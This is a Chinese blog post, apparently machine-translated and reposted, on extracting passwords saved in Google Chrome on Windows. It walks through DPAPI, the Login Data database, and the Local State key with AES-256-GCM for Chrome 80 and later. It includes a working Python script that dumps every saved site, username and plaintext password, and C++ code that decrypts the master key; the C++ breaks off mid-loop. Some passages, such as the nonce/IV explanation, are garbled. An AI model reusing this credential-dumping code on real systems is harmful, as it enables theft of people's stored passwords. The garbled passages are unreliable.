网页抓取解密(谷歌浏览器存储密码的方式在使用谷歌时,)
优采云 发布时间: 2022-04-01 12:17网页抓取解密(谷歌浏览器存储密码的方式在使用谷歌时,)
谷歌浏览器如何存储密码
在使用谷歌浏览器时,如果我们输入某个网站的账号密码,他会自动询问我们是否要保存密码,这样我们下次登录时可以自动填写账号密码
登录账号和密码可以在设置里找到
也可以直接看密码,不过需要证书
这其实就是windows的DPAPI机制
DPAPI
数据保护应用程序编程接口(数据保护 API)
DPAPI 是用于在 Windows 系统级别加密和解密数据的接口。它不需要自行实现加解密代码。Microsoft 提供了经过验证的高质量加密和解密算法,并提供了用户模式界面。密钥派生和存储的加解密透明,提供高安全保障
DPAPI 提供两个用户模式接口 CryptProtectData 加密数据 CryptUnprotectData 解密数据 加密数据是应用程序安全存储加密数据的责任。应用程序不需要解析加密的数据格式。但是,加密数据存储需要某种机制,因为数据可以通过任何其他进程解密。当然,CryptProtectData也提供了参数供用户输入额外数据参与加密用户数据,但仍然不能用于暴力破解。
微软提供了加密和解密两个接口,CryptProtectMemory 和 CryptUnprotectMemory
事实上,在旧版本(80 之前)的谷歌浏览器中,只有 CryptProtectMemory 用于加密密码
80版本之前的Chrome实验环境实验流程
Chrome 的密码被加密并存储在
%LocalAppData%\Google\Chrome\User Data\Default\Login Data
如果你用二进制文本编辑器看,你会发现它其实是一个sqlite数据库文件
您可以使用工具 SQLiteStudio 打开它
双击登录
选择数据
可以看到有用户名和网址,但没有密码
但是密码的二进制实际上是有价值的
解密脚本
python的解密最简洁,这里是一个三好学生的代码
from os import getenv
import sqlite3
import win32crypt
import binascii
conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
if password:
print 'Site: ' + result[0]
print 'Username: ' + result[1]
print 'Password: ' + password
else:
print "no password found"
但我还是想用 C++ 写一个
写之前需要先配置好sqlite3环境,下载并归档
如果当前用户使用的是谷歌,则无法打开数据库,所以我们可以制作一个副本进行操作
然后通过sql语句找到logins表
在回调函数中解密
看效果完美解密码
和上面在谷歌浏览器上看到的一样,不需要验证用户密码
80 版以后的 Chrome
那么 80.x 之后 Chrome 是如何解密的呢?
实验环境实验分析
下面我们来看看Chrome的存储方式和之前版本有什么区别
判断是不是新版Chrome加密其实就是看它的加密值前面是v10还是v11
看官方文档,分析一下新的加密算法
密钥的初始化
+/master:components/os_crypt/;l=192;drc=f59fc2f1cf0efae49ea96f9070bead4991f53fea
注意:尝试从本地状态中提取密钥。
并且可以看到kDPAPIKeyPrefix其实是一个字符串“DPAPI”
然后解密DPAPI,如果key不在本地状态或者DPAPI解密失败,最后重新生成一个key。
从这里我们可以大致分析一下key初始化的动作:
从本地状态文件中提取keybase64解密密钥,去掉密钥开头的“DPAPI”DPAPI解密,得到最终密钥
跟进GetString函数的参数kOsCryptEncryptedKeyPrefName
知道密钥存储在本地状态文件的os_crypt.encrypted_key字段中,即
并且本地状态文件在本地默认目录下:
%LocalAppData%\Google\Chrome\用户数据\本地状态
Local State 是 JSON 格式的文件
明文加密
见源代码注释
密钥加密后的数据前缀为“v10”
key和NONCE/IV的长度分别为:32字节和12字节
以下是对 NONCE/IV 的解释:
如果我们不希望密钥加密后的明文相同,则密文相同(这样攻击者很容易知道两个密文的明文相同),解决方法是使用IV(初始向量)或随机数(仅使用一次的值)。因为对于每条加密消息,我们可以使用不同的字节串。它们是需要制作无法区分的副本的不确定理论的起源。这些消息通常不是秘密的,但我们在分发它们以进行解密时会对其进行加密。IV 和 nonce 之间的区别是有争议的,但并非不相关。不同的加密方案有不同的保护点:有的方案只要求密文不重复,通常称为nonce;有些方案要求密文是随机的,甚至是完全不可预测的。我们通常称之为IV的条件。这里其实是希望即使明文一样,加密后的密文也不一样。
再次向下滚动,您实际上可以看到解密功能
encrypted_value 以 v10 为前缀,后跟一个 12 字节的 NONCE (IV),然后是真正的密文。Chrome 使用 AEAD 对称加密和 AES-256-GCM,
那么思路就清楚了,这里我自己画图总结一下算法
自动捕获密码
解密使用了一个非常强大的库,cryptopp
首先获取原创密钥
<p>string GetOriginalkey()
{
string Decoded = "";
//获取Local State中的未解密的key
string key = "RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAADWXmStECIlTZZxWMAYf5UmAAAAAAIAAAAAABBmAAAAAQAAIAAAAP8V1h3J1qhN1Hks1TbInimvYa0TnMfPa0j。。。。。。。。。。。。。。WLC2oU3TkysoXmUAAAAAtPkLwNaInulyoGNH4GDxlwbzAW4DP7T8XWsZ/2QB0YrcLqxSNytHlV1qvVyO8D20Eu7jKqD/bMW2MzwEa40iF";
StringSource((BYTE*)key.c_str(), key.size(), true, new Base64Decoder(new StringSink(Decoded)));
key = Decoded;
key = key.substr(5);//去除首位5个字符DPAPI
Decoded.clear();//DPAPI解密
int i;
char result[1000] = "";
DATA_BLOB DataOut = { 0 };
DATA_BLOB DataVerify = { 0 };
DataOut.pbData = (BYTE*)key.c_str();
DataOut.cbData = 1000;
if (!CryptUnprotectData(&DataOut, nullptr, NULL, NULL, NULL, 0, &DataVerify)) {
printf("[!] Decryption failure: %d\n", GetLastError());
}
else {
printf("[+] Decryption successfully!\n");
for (i = 0; i